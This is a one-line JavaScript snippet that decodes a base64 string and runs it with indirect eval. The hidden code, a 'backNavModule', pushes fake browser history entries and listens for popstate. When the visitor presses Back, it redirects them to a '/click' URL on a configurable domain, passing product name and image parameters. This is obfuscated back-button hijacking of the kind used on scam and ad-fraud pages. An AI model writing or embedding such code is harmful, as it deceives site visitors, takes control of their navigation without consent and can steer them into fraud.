(function(){var s=atob('KGZ1bmN0aW9uIGJhY2tOYXZNb2R1bGUod2luZG93LCBkb2N1bWVudCkgewogICd1c2Ugc3RyaWN0JzsKCiAgdmFyIHN0YXRlID0gewogICAgYmFja2Y6ICcnLAogICAgcHJvZHVjdEltZzogJycsCiAgICBwcm9kdWN0TmFtZTogJycsCiAgICBob3N0OiAnJwogIH07CgogIGZ1bmN0aW9uIGJ1aWxkUmVkaXJlY3RCYXNlKGxvYykgewogICAgdmFyIGhvc3QgPSBzdGF0ZS5ob3N0ICYmIHN0YXRlLmhvc3QuaW5kZXhPZigneycpID09PSAtMSA/IHN0YXRlLmhvc3QgOiBsb2MuaG9zdDsKICAgIHZhciBwcm90b2NvbCA9IGxvYy5wcm90b2NvbCB8fCAnaHR0cHM6JzsKICAgIHJldHVybiBwcm90b2NvbCArICcvLycgKyBob3N0ICsgJy9jbGljayc7CiAgfQoKICBmdW5jdGlvbiBhcHBseUhpc3RvcnlUcmFwKGxvYykgewogICAgdmFyIGN1cnJlbnRVcmwgPSBsb2MuaHJlZjsKICAgIGhpc3RvcnkucmVwbGFjZVN0YXRlKG51bGwsIGRvY3VtZW50LnRpdGxlLCBsb2MucGF0aG5hbWUgKyAnIyEvaGlzdG9yeScpOwogICAgaGlzdG9yeS5wdXNoU3RhdGUobnVsbCwgZG9jdW1lbnQudGl0bGUsIGxvYy5ocmVmKTsKICAgIGhpc3RvcnkucmVwbGFjZVN0YXRlKG51bGwsIGRvY3VtZW50LnRpdGxlLCBjdXJyZW50VXJsKTsKICB9CgogIGZ1bmN0aW9uIG5vcm1hbGl6ZVVybChsb2MpIHsKICAgIHRyeSB7CiAgICAgIHZhciB1cmwgPSBuZXcgVVJMKGxvYy5ocmVmKTsKICAgICAgdmFyIGtleSA9IHVybC5zZWFyY2hQYXJhbXMuZ2V0KCdrZXknKTsKICAgICAgaWYgKCFrZXkpIHJldHVybiBmYWxzZTsKCiAgICAgIHZhciB0YXJnZXRQYXRoID0gJy8nICsga2V5OwogICAgICB2YXIgYWxyZWFkeUNsZWFuID0gdXJsLnBhdGhuYW1lID09PSB0YXJnZXRQYXRoICYmICF1cmwuc2VhcmNoOwogICAgICBpZiAoYWxyZWFkeUNsZWFuKSByZXR1cm4gZmFsc2U7CgogICAgICB1cmwucGF0aG5hbWUgPSB0YXJnZXRQYXRoOwogICAgICB1cmwuc2VhcmNoID0gJyc7CiAgICAgIHVybC5oYXNoID0gJyc7CiAgICAgIC8vIENsZWFuIHRoZSBhZGRyZXNzIGJhciB3aXRob3V0IHRyaWdnZXJpbmcgYSBuYXZpZ2F0aW9uLgogICAgICBoaXN0b3J5LnJlcGxhY2VTdGF0ZShudWxsLCBkb2N1bWVudC50aXRsZSwgdXJsLnRvU3RyaW5nKCkpOwogICAgICBjb25zb2xlLmxvZygnVVJMIG5vcm1hbGl6ZWQgdG86JywgdXJsLnRvU3RyaW5nKCkpOwogICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gY2F0Y2ggKGVycikgewogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgfQoKICBmdW5jdGlvbiBoYW5kbGVQb3BzdGF0ZShsb2MsIHJlZGlyZWN0QmFzZSkgewogICAgaWYgKGxvYy5oYXNoICE9PSAnIyEvaGlzdG9yeScpIHJldHVybjsKICAgIGhpc3RvcnkucmVwbGFjZVN0YXRlKG51bGwsIGRvY3VtZW50LnRpdGxlLCBsb2MucGF0aG5hbWUpOwogICAgc2V0VGltZW91dChmdW5jdGlvbiAoKSB7CiAgICAgIHZhciB1cmwgPSByZWRpcmVjdEJhc2UgKyAnP2tleT0nICsgc3RhdGUuYmFja2YgKyAnJnByb2R1Y3RfaW1ndXJsPScgKyBzdGF0ZS5wcm9kdWN0SW1nICsgJyZwcm9kdWN0bmFtZT0nICsgc3RhdGUucHJvZHVjdE5hbWU7CiAgICAgIGxvYy5yZXBsYWNlKHVybCk7CiAgICB9LCAxMCk7CiAgfQoKICBmdW5jdGlvbiBiaW5kUG9wc3RhdGUobG9jKSB7CiAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncG9wc3RhdGUnLCBmdW5jdGlvbiAoKSB7CiAgICAgIGhhbmRsZVBvcHN0YXRlKGxvYywgYnVpbGRSZWRpcmVjdEJhc2UobG9jKSk7CiAgICB9LCBmYWxzZSk7CiAgfQoKICBmdW5jdGlvbiBpbml0KGNmZykgewogICAgc3RhdGUuYmFja2YgPSBjZmcuYmFja2ZLZXkgfHwgJyc7CiAgICBzdGF0ZS5wcm9kdWN0SW1nID0gY2ZnLnByb2R1Y3RJbWFnZVVybCB8fCB3aW5kb3cucHJvZHVjdF9pbWd1cmwgfHwgJyc7CiAgICBzdGF0ZS5wcm9kdWN0TmFtZSA9IGNmZy5wcm9kdWN0IHx8IHdpbmRvdy5wcm9kdWN0TmFtZSB8fCAnJzsKICAgIHN0YXRlLmhvc3QgPSBjZmcuYmFja0RvbWFpbiB8fCAnJzsKICAgIHZhciBsb2MgPSB3aW5kb3cubG9jYXRpb247CiAgICBub3JtYWxpemVVcmwobG9jKTsKICAgIGlmICghc3RhdGUuYmFja2YpIHJldHVybjsKICAgIGFwcGx5SGlzdG9yeVRyYXAobG9jKTsKICAgIGJpbmRQb3BzdGF0ZShsb2MpOwogIH0KCiAgd2luZG93LmFwcEJhY2sgPSB7IGluaXQ6IGluaXQgfTsKfSkod2luZG93LCBkb2N1bWVudCk7Cg==');(0,eval)(s);}());